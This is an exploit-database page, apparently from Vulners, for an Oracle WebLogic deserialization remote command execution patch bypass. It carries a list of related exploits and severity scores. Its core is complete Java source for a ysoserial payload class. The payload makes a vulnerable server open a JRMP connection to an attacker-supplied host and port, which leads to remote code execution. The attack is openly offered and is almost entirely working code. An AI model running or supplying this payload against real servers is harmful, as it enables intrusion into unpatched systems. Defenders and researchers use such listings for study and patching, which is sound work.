Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
| Reporter | Title | Published | Views | Family All 104 |
|---|---|---|---|---|
| Exploit for CVE-2013-0422 | 20 Dec 202018:43 | – | gitee | |
| Exploit for CVE-2013-0422 | 4 Jan 202008:24 | – | gitee | |
| Exploit for Code Injection in Pivotal_Software Spring_Data_Commons | 11 Apr 202111:34 | – | gitee | |
| Exploit for CVE-2013-0422 | 5 Aug 202014:46 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server | 5 Feb 202001:43 | – | gitee | |
| Exploit for CVE-2013-0422 | 9 Apr 202017:52 | – | gitee | |
| Exploit for CVE-2013-0422 | 4 Mar 202022:46 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server | 5 Oct 202014:04 | – | gitee | |
| Exploit for CVE-2013-0422 | 13 Sep 202017:50 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server | 2 Mar 202015:04 | – | gitee |
10
// All respects goes to Zhiyi Zhang of 360 ESG Codesafe Team
// URL: https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/
package ysoserial.payloads;
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient_20180718_bypass01 extends PayloadRunner implements
ObjectPayload<ReferenceWrapper_Stub> {
public ReferenceWrapper_Stub getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
ReferenceWrapper_Stub stud = new ReferenceWrapper_Stub(ref);
return stud;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient_20180718_bypass01.class.getClassLoader());
PayloadRunner.run(JRMPClient_20180718_bypass01.class, args);
}
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Mar 2019 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
CVSS 39.8
EPSS0.99448
SSVC